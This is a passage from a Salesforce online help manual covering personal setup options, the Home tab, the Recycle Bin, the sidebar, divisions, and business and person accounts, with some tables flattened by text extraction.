Description Others can see detailed information about events in the calendar. Others can see detailed information about events in the calendar and can insert events in the calendar. Others can see detailed information about events in the calendar, insert events in the calendar, and edit existing events in the calendar.

5. Click Save. The available Calendar Access options vary depending on the organization-wide calendar sharing level set by your administrator. Only choices that make your calendar access less restrictive are available. Calendar sharing settings affect the visibility of items on a calendar, but do not give access to event detail pages. Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with a record are still visible to users above the activitys assignee in the role hierarchy.

See Also:
Activity Accessibility

Setting Record Type Preferences


Available in: Enterprise, Unlimited, and Developer Editions

Set an option to automatically insert your default record type when creating new records. Using this setting, you can bypass the page prompting you to select a record type. If you have several different record types available to you, you may prefer to be prompted to select a record type every time you create a new record. 1. Click Your Name > Setup > My Personal Information > Record Type Selection. 2. Check any box to automatically select the default record type when creating records of that type. Any unchecked boxes indicate that you prefer to be prompted to select a record type. 3. Click Save. Note: The Record Type Selection option may not be available because your organization is not using record types or multiple record types are not available for a particular tab. Individual checkboxes are only offered when you have more than one record type available for a tab.

48

Personal Setup

Scheduling Opportunity Update Reminders

If your organization uses person accounts, note that checking the Account box on this page causes one default record type selection for all types of accounts. It is not possible to set separate default record type selections for business accounts and person accounts. If you work with both types of accounts, leave the box blank.

See Also:
Managing Record Types

Scheduling Opportunity Update Reminders


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Once opportunity update reminders are enabled for your organization, any user who has direct reports can schedule them. To schedule an opportunity update reminder: 1. 2. 3. 4. 5. Click Your Name > Setup > Email > My Update Reminder. Check Active if you want reminders to start after you save the settings. Enter a name and address for the sender of the reminders. Choose a recipients option. Enter any other recipients in the CC field. Separate additional email addresses with a commas, semi-colons, spaces, or new lines. 6. Enter a subject and message to be included in the email reminders. 7. Select a schedule frequency. 8. Select Include Past Due Opportunities if you want to include all opportunities that are open but have a close date within the previous 90 days. 9. Choose a Close Date to include opportunities with dates within that range. 10. Select the fields to include in the email reminders. Field
Last Login Date # of Open Opportunities # Not Updated in Last 30 Days

Description Most recent login date of the opportunity owner Total number of opportunities in the report Total number of opportunities that have not been updated in 30 days Total of all opportunity amounts in report Total closed amount for all opportunities in report. If your organization uses multiple currencies, this amount is converted to the user's currency. If your organization uses advanced currency management, the conversion is done using dated exchange rates.

Open Opportunity Amount Total Closed Amount

49

Personal Setup

Checking for Desktop Client Updates

Field
Last Update Date

Description Most recent date the opportunity owner submitted a forecast. If your organization uses multiple currencies, this amount is converted to the user's currency. If your organization uses advanced currency management, the conversion is done using dated exchange rates.

Forecast Amount

From the forecast. See Forecast Fields on page 2240. If your organization uses multiple currencies, this amount will be converted to the user's currency using the standard conversion rate. This field is not available to organizations using customizable forecasting. For more information, see Do I Have Customizable Forecasting? on page 2242.

Best Case Amount

From the forecast. See Forecast Fields on page 2240. If your organization uses multiple currencies, this amount will be converted to the user's currency using the standard conversion rate. This field is not available to organizations using customizable forecasting. For more information, see Do I Have Customizable Forecasting? on page 2242.

11. Click Save. When there are no records in an opportunity update reminder, Salesforce does not send an email. If no email is sent for three consecutive opportunity update reminders, the scheduled reminder is deactivated.

See Also:
Enabling Opportunity Update Reminders

Checking for Desktop Client Updates


Available in: All Editions

Desktop clients such as Connect for Outlook and Connect Offline integrate Salesforce with your PC. Follow these steps to see which desktop client versions are installed on your computer and download available updates: 1. Navigate to Your Name > Setup > Desktop Integration > Check for Updates. 2. From the table, review the names and version numbers of available desktop clients.

50

Personal Setup

Customizing Activity Reminders

3. If you are using Internet Explorer, click the correct desktop client and then click Install Now to install a client. 4. If you are using another browser such as Mozilla Firefox, click Download Now to save the installer file to your computer. Then double-click the saved file to run the installer program. Your administrator controls which desktop clients you are allowed to install. See Desktop Client Access Overview on page 518. Note that Connect Offline is the only client available with Developer Edition.

See Also:
Force.com Connect for Microsoft Outlook Overview Force.com Connect Offline Overview Force.com Connect for Microsoft Office Overview Force.com Connect for Lotus Notes Overview Viewing Client Update Alerts

Customizing Activity Reminders


Available in: All Editions except for Database.com

When reminders are enabled for your organization, the default reminder settings are configured to open the reminder window and play a sound fifteen minutes before an event's start time, or at 8:00 am the day a task is due. Click Your Name > Setup > My Personal Information > Reminders to customize the following reminder settings to meet your needs. Setting
Trigger alert when reminder comes due

Description If enabled, open the reminder window when a reminder is due. If enabled, play a reminder sound when a reminder is due. If enabled, set a reminder on all new events. From the drop-down list, select how long before the event you want to be reminded of the upcoming event. You can disable the reminder or change the reminder time when editing the event. If enabled, set a reminder on all new tasks. From the drop-down list, select what time, on the day the task is due, you want to be reminded of the task. All tasks, including those created by workflow, will use this default. You can disable the reminder or change the reminder time when editing a task. If enabled, this option will sort reminders by due date first and then reminder.

Play a reminder sound By default, set reminder on Events to:

By default, set reminder on Tasks to:

Sort reminder window by due date

To test your settings, click Preview Reminder Alert.

51

Home Tab

Home Tab Overview

Note: If the preview popup does not display, ensure that you aren't blocking popups. For more information, see Why can't I view Salesforce popup windows such as lookup dialogs and the Help & Training window? on page 3189.

See Also:
Setting Reminders on Activities Editing Tasks Editing Events Using the Activity Reminder Window

HOME TAB
Home Tab Overview
The available tabs and options in the Create New drop-down list vary according to which permissions you have and which Salesforce Edition you are using.

From the Home tab, you can view your calendar and tasks, and select tab and sidebar options to access other information. You can also search for information and view messages and custom links provided by your administrator. The tabs at the top of the page let you access different types of information. Tabs can be organized into groups called apps, which make it easy to switch between sets of tabs that relate to one another. In addition to the standard apps, such as Sales and Call Center, your administrator can create custom apps to define the tabs that you see. You can switch between apps by choosing from the Force.com app menu at the top of the page. An alert banner may appear on the Home tab to let you know when updates are available for desktop clients such as Connect for Outlook and Connect Offline. For more information, see Viewing Client Update Alerts on page 59.

See Also:
Troubleshooting Login Issues Using Your Calendar and Tasks on the Home Page Search Overview Recycle Bin About the Sidebar Custom Links Messages and Alerts Recent Items What is an App?

52

Home Tab

Changing Your Home Tab Dashboard

Changing Your Home Tab Dashboard


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator can create customized Home tab pages that display customized components such as a dashboard snapshot or your company logo. If your Home tab contains a dashboard snapshot, you can change the dashboard settings. Click Customize Page in the Dashboard section of the Home tab if yours contains a dashboard. Use this page to select a different dashboard to display on the Home tab. Click Refresh to refresh the data in your dashboard. See Refreshing Dashboard Data on page 2723 for more information.

See Also:
Customizing Your Display

Using Your Calendar and Tasks on the Home Page


Available in: All Editions except Database.com

Note: The My Tasks and Calendar sections display on the Home tab if they are included as components on your home page layout. For more information, see Customizing Home Tab Page Layouts on page 1212. From the Home tab, you can view, create, and edit events and tasks. If you have Salesforce for Outlook, Connect for Outlook or Connect for Lotus Notes installed, you may be able to sync your Outlook or Lotus Notes records with Salesforce so they display in the My Tasks and Calendar sections on the Home page.

Using the My Tasks Section


In the My Tasks section on the Home tab, you can: Click New to create a task. View a list of tasks assigned to you. Up to fifteen tasks can be displayed; to view all your tasks, click View More. The recurrence icon ( ) identifies tasks that are part of a recurring series. Choose a time frame from the drop-down list to change which tasks display. Assign unresolved emails to related records; to view all your unassigned emails, click My Unresolved Items. If your organization has enabled hover links for the My Tasks list, hover your mouse over the subject of a task to see the details of the task in an overlay. Alternatively, click the subject of a task to open the detail page of that task. Click X to close a task.

Using the Calendar Section


In the Calendar section on the Home tab, you can: Click New Event to create a new event.

53

Home Tab

Recycle Bin

Click the Scheduled Meetings subtab to view a list of the events you have scheduled for the next seven days. This tab displays a maximum of 50 events per day. The recurrence icon ( ) identifies events that are part of a recurring series. The multi-person event icon ( ) identifies events with invitees. Multi-person events aren't available in Personal Edition. If your organization has enabled home page hover links for events, hover your mouse over the subject of an event to display the details of the event in an interactive overlay. Alternatively, click the subject of an event to open the detail page of that event.

Click the Requested Meetings subtab to view meetings you have requested but not confirmed. This tab displays a maximum of 100 requested meetings. Click the subject of the meeting to open its detail page where you can cancel and reschedule the meeting. The Status column shows the number of invitees that have responded to your meeting request. Once you confirm a meeting, it appears on the Scheduled Meetings subtab. If the Requested Meetings subtab doesn't display, ask your Salesforce administrator to add it to the Calendar section. See Customizing Activity Settings on page 1241.

View a small calendar of the current month. To change which month displays, click the Previous Month ( ) and Next Month ( ) icons as appropriate. Navigate to different views of your calendar: Click the icons underneath the small monthly calendar as appropriate. For more information, see Viewing Your Calendar on page 121.

See Also:
Viewing Activities Requesting a Meeting Using Cloud Scheduler Setting Up Cloud Scheduler

Recycle Bin
Available in: All Editions except for Database.com

User Permissions Needed To view and recover your deleted records: To view and recover records deleted by other users: To recover deleted public tags: To purge the Recycle Bin: Read on the records in the Recycle Bin Modify All Data Tag Manager Modify All Data

The Recycle Bin link in the sidebar lets you view and restore recently deleted records for 15 days before they are permanently deleted. Your recycle bin record limit is 250 times the Megabytes (MBs) in your storage. For example, if your organization has 1 GB of storage then your limit is 250 times 1000 MB or 250,000 records. If your organization reaches its Recycle Bin limit, Salesforce automatically removes the oldest records if they have been in the Recycle Bin for at least two hours.

54

Home Tab

Recycle Bin

Viewing Items in the Recycle Bin


Choose My recycle bin from the drop-down list to view just the items you deleted. Administrators, and users with the Modify All Data permission, can choose All recycle bin to view all data that has been deleted for the entire organization. In Personal Edition, the All recycle bin option shows all of your deleted items.

Searching for Items in the Recycle Bin


1. Choose My recycle bin or All recycle bin from the drop-down list. Choosing My recycle bin searches for matches only in the items you deleted. 2. Enter your search terms. Search terms are treated as separate words with an implied AND between them. For example, searching for bob jones returns items with bob and jones together but not bob smith whose email address is bsmith@jones.com. An implied wildcard is appended to your search terms so searching for bob returns any bob or bobby. Searches look for matches in the field displayed in the Name column of the Recycle Bin such as lead Name, Case Number, Contract Number, or Product Name. Note: Some search features, including stemming and synonyms, are not available in the Recycle Bin search.

3. Click Search.

Restoring Items in the Recycle Bin


You can restore items by checking the box next to those items and clicking Undelete. To restore all deleted items, check the box in the column header and then click Undelete. When you undelete a record, Salesforce restores the record associations for the following types of relationships: Parent accounts (as specified in the Parent Account field on an account) Parent cases (as specified in the Parent Case field on a case) Master solutions for translated solutions (as specified in the Master Solution field on a solution) Managers of contacts (as specified in the Reports To field on a contact) Products related to assets (as specified in the Product field on an asset) Opportunities related to quotes (as specified in the Opportunity field on a quote) All custom lookup relationships Relationship group members on accounts and relationship groups, with some exceptions Tags An article's categories, publication state, and assignments Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different product prior to the original product record being undeleted, that asset-product relationship is not restored.

Purging the Recycle Bin


To permanently remove your deleted items prior to the 15 day period, administrators, and users with the Modify All Data permission, can click Empty your recycle bin or Empty your organizations recycle bin .

See Also:
Removing Members from Relationship Group Members Managing Articles and Translations

55

Home Tab

Creating Records Using the Create New Drop-Down List

Creating Records Using the Create New Drop-Down List


The available options in the Create New drop-down list vary according to which permissions you have, which Salesforce Edition you are using, and which app you are using.

The Create New drop-down list, available in the sidebar, provides options to create new records. To create a new record using the drop-down list: 1. Select the type of record you want to create. The new record page immediately displays in the appropriate tab or the Upload a File dialog box displays if you selected File. 2. Fill in the fields. 3. Click Save or Upload to My Files if you selected File.

Using the Tags Sidebar Component


The Tags link and Recent Tags drop-down list, available in the sidebar, allow you to browse tags and access your most recently used tags, respectively. Click Tags to browse, search, and manage your entire tag collection. Select a tag in the Recent Tags drop-down list to view all records that have been marked with that tag. The tags that appear in this list are those you have most recently used to tag records.

See Also:
Tags Overview Browsing, Searching, and Managing Tags Enabling Tags

About the Sidebar


Available in: All Editions except Database.com

The sidebar column that appears on the left side of most Salesforce pages provides convenient access to the following links and commands. Search Use the header search box, if you don't have Sidebar Search. The Google Talk gadget The Tags link and Recent Tags drop-down list The Divisions drop-down list The Create New drop-down list

56

Home Tab

Messages and Alerts

A Calendar shortcut to your last used calendar view The Recent Items list Messages and Alerts Custom Links A shortcut to the Recycle Bin

The options in your sidebar may vary if your administrator has customized your home page layout. For more information, see Customizing Home Tab Page Layouts on page 1212. If your administrator has enabled the collapsible sidebar, you have the choice to show or hide the sidebar as needed. Click the edge of the sidebar or press ALT+S to open or close the sidebar as needed. Opening the sidebar using ALT+S automatically places your cursor in the Search box. Note: Call center users won't see incoming calls if they collapse the sidebar.

Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times so you always have access to the Divisions drop-down list.

See Also:
Customizing Activity Settings

Messages and Alerts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The Messages and Alerts section of the Home tab sidebar displays announcements customized by your organization's administrator. The Messages and Alerts section is not available in Personal Edition.

See Also:
Customizing Home Tab Page Layouts About the Sidebar

Custom Links
Available in: All Editions except Database.com

This section appears on the Home tab depending on your customized home page layout. See Customizing Home Tab Page Layouts on page 1212.

57

Home Tab

Recent Items

The Custom Links section of the Home tab contains links to websites or Salesforce pages that are useful for everyone in your organization. Your administrator sets which links display in this section.

See Also:
Customizing Home Tab Page Layouts About the Sidebar

Recent Items
Available in: All Editions

In the Recent Items section of the sidebar column, you see a short list of up to 10 specific accounts, campaigns, cases, contacts, contracts, documents, ideas, questions, leads, opportunities, quotes, orders, person accounts, solutions, users, or custom objects youve most recently added or viewed. To see the details of an item, click the name of the item. Tip: If your organization has enabled hover details, hover your mouse over any item in the Recent Items list to view key information about the record before clicking into that record's detail or edit page. Note: Your Recent Items may show fewer than 10 items if you have recently deleted any of your recently viewed items. Likewise, the Recent lists on the tab home pages (for example, the Recent Leads list) may show fewer than 10 or 25 items if you have recently deleted items.

See Also:
About the Sidebar

Changing Your Working Division


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed To change your working division: To limit list views, searches, and reports by division: Affected by Divisions Affected by Divisions

If your administrator has enabled divisions, your organizations data will be segmented into different sections, making searches, reports, and list views more meaningful for you. For example, if you work in the North American division, you can create reports to show only records belonging to the European division. You can change the division in which you are working at any time. The data you see in search results includes records in your working division.

58

Home Tab

Viewing Client Update Alerts

To set your working division, simply select a division from the Divisions drop-down list in the sidebar. To search within multiple divisions at the same time, use Advanced Search, Global Search, or select --All-- from the Divisions drop-down list. To search within a division in a lookup dialog, select a division from the drop-down list in the lookup dialog window. Your results include records in the selected division. Note: All searches within a working division also include the global division. For example, if you search within a working division called Western Division, your results will include records found in both the Western Division and the global division.

To report on records in a specific division, select a division from the Divisions drop-down list on the report. Select --Current-- to show records in your current working division. Reports that are already scoped (such as My Cases or My teams accounts) include records in all divisions, and you cannot further limit them to a specific division.

To find records in a specific division in a list view, use the Divisions drop-down list when creating or editing the list view. Note: When you create new records, those records are not automatically assigned to your current working division. See Overview of Divisions on page 422 for more information.

See Also:
About Divisions Transferring Divisions Changing Your Default Division About the Sidebar

Viewing Client Update Alerts


Available in: Enterprise, Unlimited and Developer Editions

User Permissions Needed To view client update alerts: On, updates w/alerts OR On, must update w/alerts on your profile

Under the following conditions, an alert banner automatically appears across the Home tab when new versions of clients such as Connect for Outlook and Connect Offline are available. Your administrator has given you access to see the Home tab alerts. See Desktop Client Access Overview on page 518. In the past, you have successfully logged in from the client with your Salesforce username and password.

59

Accounts

Accounts Overview

Click the alert banner to proceed to the Check for Updates page. Note the following: You can navigate to the Check for Updates page at any time to see which client versions are installed on your computer. After installing the update, the alert banner continues to appear across the Home tab until you log in through the newly updated client. Connect Offline is the only client available with Developer Edition.

See Also:
Desktop Client Access Overview Force.com Connect for Microsoft Outlook Overview Force.com Connect Offline Overview Force.com Connect for Microsoft Office Overview Force.com Connect for Lotus Notes Overview

ACCOUNTS
Accounts Overview
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

Accounts are your organization's customers, competitors, and partners. Each account stores information such as name, address, and phone numbers. For each account, you can store related information such as opportunities, activities, cases, partners, contracts, and notes. The Accounts tab displays a home page that lets you quickly create and locate all types of accounts. You can also sort and filter your accounts using standard and custom list views. In addition, this tab lets you view and edit detailed information on each account to which you have access. If your organization has been enabled with person accounts, you have two different kinds of accounts: business accounts and person accounts. Business accounts represent the other companies with which your organization does business. For business accounts, the individuals who work at those companies are represented by contacts. Person accounts represent the individual consumers with whom your company does business, such as a financial services client, an online shopper, or a vacation traveler. Depending on your organization's business model, you may use business accounts, person accounts, or both. If your organization has a partner portal, you can create partner accounts. Partner accounts are business accounts that a channel manager uses to manage partner organizations, partner users, and activities.

60

Accounts

What is a Person Account?

Note: In the online help and other Salesforce documentation, the word account by itself always refers to both business accounts and person accounts. The terms business account and person account are used when there are differences between the two kinds of accounts.

See Also:
Accounts Home What is a Person Account? Partner Portal Overview

What is a Person Account?


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce. To quickly verify whether your organization uses person accounts, see if you have an option to select Person Account as the record type when you create a new account. To request person accounts, check with your administrator or contact salesforce.com. A person account is an individual consumer with whom you do business, such as a financial services client, an online shopper, or a vacation traveler. Person accounts are applicable to organizations that operate on a business-to-consumer model as opposed to a business-to-business model. In a business-to-business model, there is a natural differentiation between the other businesses with whom you work and the people associated with those businesses. In Salesforce, that translates to accounts and contacts having different fields, features, and tabs. In a business-to-consumer model, because you are providing products or services to people rather than companies or organizations, the distinction between accounts and contacts does not exist. Consequently, person accounts in Salesforce have a combination of fields from both accounts and contacts, and can be used as contacts in most situations that involve contacts. For example, business accounts do not have standard fields for email address and job title, but person accounts do. Also, person accounts can be associated with campaigns just like contacts, but business accounts cannot. For details on the contact-specific functionality that applies to person accounts, see Person Account Behaviors on page 62. The ability for person accounts to act like contacts is made possible by applying an account record type which has special properties. The default name of this record type is Person Account. Your administrator may have changed the name of this record type, and also may have created more account record types that have the same special properties. For more information on record types, see Managing Record Types on page 1180 and Changing the Record Type Field on page 98.

61

Accounts

Person Account Behaviors

Note: In the online help and other Salesforce documentation, the word account by itself always refers to both business accounts and person accounts. The terms business account and person account are used when there are differences between the two kinds of accounts.

See Also:
Person Account Behaviors Accounts Overview Contacts Overview Tip sheet: Using Person Accounts Implementation guide: Implementing Person Accounts Disabling and Deactivating Portal Users

Person Account Behaviors


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce. To request person accounts, contact salesforce.com.

Person accounts are accounts that can also be used as contacts in many situations. The following table summarizes the key areas in which person accounts differ from business accounts or have unique considerations: Salesforce Functionality Account Merge Account Quick Create Person Account Behavior Person accounts can only be merged with other person accounts. See Merging Duplicate Accounts on page 90. On the accounts home page, the fields in the Quick Create area are based on whether the default account record type set on your profile is a person account record type or a business account record type. See Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface on page 505 or Assigning Record Types to Profiles in the Original Profile User Interface on page 516. Person accounts are accounts that support contact fields and capabilities. Person accounts can be associated with activities using either the Name or Related To fields. As with contacts, person accounts can be invited to events and requested meetings.

Accounts Activities

62

Accounts

Person Account Behaviors

Salesforce Functionality

Person Account Behavior For users to request a meeting with a person account, the Email field must be added to the Person Accounts page layout.

Campaigns Cases Contact Roles Contacts

As with contacts, person accounts can be added to campaigns and have a Campaign History related list. On cases, person accounts can be entered in the Account Name field, the Contact Name field, or both. As with contacts, you can add person accounts to the Contact Roles related list on cases, contracts, and opportunities. In most situations, you can use person accounts as if they were contacts. You can include them in all contact list views except on the contacts home page. Unlike business accounts, person accounts do not have a Contacts related list. However, you can use the Partners related list to track relationships between different person accounts.

Custom Objects Customer Portal

Custom objects with relationships to either accounts or contacts can be added as related lists on person accounts. As with contacts, person accounts can be enabled as users for your Customer Portals. Note that Customer Portals are only available for Enterprise and Unlimited Editions. Person accounts are currently supported in Connect Offline, Salesforce for Outlook, and Connect for Outlook version 3.2 and later; see Can I sync person accounts using Salesforce for Outlook? on page 3240 and Working with Person Accounts in Connect for Outlook on page 2449. They are not currently supported in Connect for Lotus Notes. As with contacts, you can send individual emails and mass emails to person accounts. Account fields for person accounts can be tracked using the account field history settings, but contact fields for person accounts are configured on the contact field history settings page. See Tracking Field History on page 1007. A predetermined combination of standard account and contact fields is available on person account page layouts. In addition, all custom account and contact fields are available. See Person Account Fields on page 77. Note that some business account fields are not supported for person accounts, such as Parent Account and View Hierarchy. Also, the Reports To field on contacts is not supported for person accounts.

Desktop Integration

Email Field History

Fields

63

Accounts

Person Account Behaviors

Salesforce Functionality

Person Account Behavior You can rename person account field labels so alternate terms display in Salesforce.

Icons

Person accounts have a person icon ( ), while business accounts have a folder icon ( ). The person account icon can be added to search results, list views, and lookup dialogs using the criteria Is Person Account equals True.

Import Wizards

Person accounts have unique import wizards at Your Name > Setup > Import > Import My Person Accounts and Your Name > Setup > Data Management > Import Person Accounts. See What Is Imported for Person Accounts? on page 732. Leads with a blank Company field are converted to person accounts. The default person account record type for your profile is applied to the new person account. Note that you can only create leads with a blank Company field using the Force.com API. Leads with a value in the Company field are converted to business accounts. The default business account record type for your profile is applied to the new business account. See Converting Leads on page 2584, and Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface on page 505 or Assigning Record Types to Profiles in the Original Profile User Interface on page 516. Person accounts appear in both account and contact list views. Add the Is Person Account icon to list views to visually differentiate person accounts from other records, and to include or exclude person accounts in a list. Mobile configurations that include the account object automatically deliver person accounts and business accounts to users' mobile devices. Person accounts can be excluded from the configuration's data set using the criteria Is Person Account equals False. To mobilize only person accounts, use the criteria Is Person Account equals True. If a mobile configuration includes accounts but not contacts, users assigned to that configuration will see a Contacts tab in the mobile client application, and the tab will contain person accounts.

Leads

List Views

Mobile Configurations

Page Layouts

Person accounts have unique page layouts that can have account fields, contact fields, account custom links, account related lists, and contact related lists. Person accounts page layouts do not support the Reports To and Parent Account fields. You cannot add a contact formula field that references the account object to person accounts page layouts.

64

Accounts

Person Account Behaviors

Salesforce Functionality Partners

Person Account Behavior You can use the Partners related list to relate person accounts to each other. We recommend that you rename the Partners related list to Related Accounts, Relationships, or a similar term that reflects how your person accounts are connected. Administrators can configure multiple record types for person accounts. A person account can only be changed to another person account record type. Administrators can customize the names of tabs and fields related to person accounts, such as: The Accounts tab name, the business account field label, and the person account field label. The Contacts tab name and the business contact field label. See Renaming Tab and Field Labels on page 960.

Record Types

Renamed Tabs and Standard Fields

Search

Person accounts only appear in account search results. Administrators can add the Is Person Account icon to account search layouts in order to differentiate person accounts from business accounts. As with contacts, person accounts can be enabled as users for your Self-Service portal. Contact sharing is not available if you have enabled person accounts. The organization-wide default for contacts is set to Controlled by Parent and is not editable. If your organization has customized your contact sharing settings and you want to enable person accounts, change your organization-wide default for contacts to Controlled by Parent, which removes all your contact sharing rules and manually shared contacts.

Self-Service Portal Sharing Settings

Stay-in-Touch Requests Storage

As with contacts, you can send individual and mass Stay-in-Touch requests to person accounts. Person accounts count against both account and contact storage because the API considers each person account to consist of one account as well as one contact.

65

Accounts

Accounts Home

Salesforce Functionality Workflow Rules

Person Account Behavior Creating or editing a person account triggers account workflow rules. See Managing Workflow and Approvals on page 1636.

See Also:
What is a Person Account? Tip sheet: Tips & Hints for Person Accounts Administrator setup guide: Implementing Person Accounts Disabling and Deactivating Portal Users

Accounts Home
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Accounts tab: To view accounts: To create business accounts: To create person accounts: Read on accounts Read on accounts Create on accounts Create on accounts and contacts

Clicking on the Accounts tab displays the accounts home page. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. In the Recent Accounts section, select an item from the drop-down list to display a brief list of the top accounts matching that criteria. From the list, you can click any account name to go directly to the account detail. Toggle the Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by the Accounts Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions only). The Recent Accounts choices are: Recent Accounts Choice Recently Viewed Description The last ten or twenty-five accounts you viewed, with the most recently viewed account listed first. This list is derived from your recent items and includes records owned by you and other users.

66

Accounts

Accounts Home

Recent Accounts Choice Recently Created

Description The last ten or twenty-five accounts you created, with the most recently created account listed first. This list only includes records owned by you. The last ten or twenty-five accounts you updated, with the most recently updated account listed first. This list only includes records owned by you.

Recently Modified

If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the sidebar on the accounts home page. Fill in the fields to add a new account. If your organization uses person accounts and your default record type for the Accounts tab is a person account record type, then the Quick Create fields include First Name and Last Name instead of Account Name. Alternatively, click New next to the Recent Accounts section to create a new account.

Under Reports, click any report name to jump to that report. Select any of the links under Tools to access utilities for managing your accounts. If accounts are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Accounts from Connections to view accounts that your business partners have shared with you. Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Accounts Overview What is a Person Account? Using Accounts Creating Accounts Merging Duplicate Accounts Deleting Accounts Creating Custom List Views

Viewing Account Lists

67

Accounts

Viewing Account Lists

Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view account lists: To create business accounts: To create person accounts: Read on accounts Create on accounts Create on accounts and contacts

The accounts list page displays a list of accounts in your current view. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click an account name to view the account details. Click Edit or Del next to an account name to edit or delete the account. If Chatter is enabled, click or to follow or stop following an account in your Chatter feed. If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle back to the list view. Click New Account or select Account from the Create New drop-down list in the sidebar to create an account. Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note that your administrator controls the availability of drag-and-drop scheduling.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. If your organization uses person accounts and your current list view includes the field Is Person Account, the column heading for this field is the person account icon ( ). Click the person account icon in the header to sort person accounts at either the top or bottom of the list. Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Accounts Home What is a Person Account? Customizing User Interface Settings Working with Enhanced Lists Using Inline Editing in Lists Printing List Views

68

Accounts

Using Accounts

Using Accounts
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To change business accounts: To change person accounts: To enable partner accounts: To disable partner accounts: Read on accounts Edit on accounts Edit on accounts and contacts Manage Partners Edit on accounts AND Manage Partners To disable Customer Portal accounts: Edit on accounts AND Edit Self-Service Users

An account is an organization, company, or consumer that you want to trackfor example, a customer, partner, or competitor. View and edit account details Find account-related information (for example, contacts) Get Data.com contacts for an account View account updates and comments (Chatter) Give Customer Portal users access to an account Enable an account as a partner account

See Also:
Account Fields Viewing Parent Accounts Creating Accounts Data.com Overview Changing the Record Type Field Changing the Territories of an Account Account History

69

Accounts

Displaying and Editing Account Details

Displaying and Editing Account Details


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To change business accounts: To change person accounts: To enable partner accounts: To disable partner accounts: Read on accounts Edit on accounts Edit on accounts and contacts Manage Partners Edit on accounts AND Manage Partners To disable Customer Portal accounts: Edit on accounts AND Edit Self-Service Users

Once you have located an account on the Accounts home or list pages, click the account name to display detailed information. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator. To display the page in edit mode, click Edit, make your changes, and click Save. To save the current account and create another one, click Save & New. To open a printable display of the record details, in the top-right corner of the page, click Printable View. To enable an account as a partner account, click Work with Portal and choose Enable As Partner. Available only if your company enabled a partner portal. To enable person accounts as Customer Portal users, click Work with Portal and choose Enable Customer Portal User. Available only if your company has person accounts and a Customer Portal. Note: As the owner of an account, you can normally view all data related to that account. However, your administrator can set an option on your role that determines whether you can view opportunities that you do not own that are associated with your accounts. Also, if your accounts are assigned to territories, your administrator can set options that determine whether users in that territory can view, edit, transfer, or delete your accounts.

Finding Account-Related Information (Related Lists)


70

Accounts

Finding Account-Related Information (Related Lists)

Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To change business accounts: To change person accounts: To enable partner accounts: To disable partner accounts: Read on accounts Edit on accounts Edit on accounts and contacts Manage Partners Edit on accounts AND Manage Partners To disable Customer Portal accounts: Edit on accounts AND Edit Self-Service Users

Related lists, such as opportunities, display information related to an account. Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. To directly add new items, click New (or the equivalent button) at the top of a related list. For example, to add a task to the Open Activities related list, click New Task. To change the number of records shown for related lists, click View More below a related list, or click fewer or more at the bottom of the page. If you are unable to see related records that belong to portal users, ask your Salesforce administrator to add you to the portal share groups with access to the portal users' data.

Viewing Related Lists


The related lists you see are determined by your: Personal customization Administrator's page layout customizations Permissions to view related data

The kind of account you are viewinga business account or a person accountalso determines the related lists that can be viewed.

71

Accounts

Viewing Account Updates (Chatter)

Viewing Account Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the account. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the update, click All Updates.

Following Accounts
When you follow an account, your Chatter feed includes field changes and account feed updates. To follow an account, click Follow. To stop following, click Following . The Followers list shows you who is following the account. To view a full list, click Show All. You automatically follow records you own. To disable this feature, go to Your Name > Setup > My Chatter Settings > My Feeds, select Stop automatically following records, and then click Save.

See Also:
Chatter Overview Using Chatter Feeds

Changing the Territories of an Account


Available in: Enterprise, Unlimited, and Developer Editions

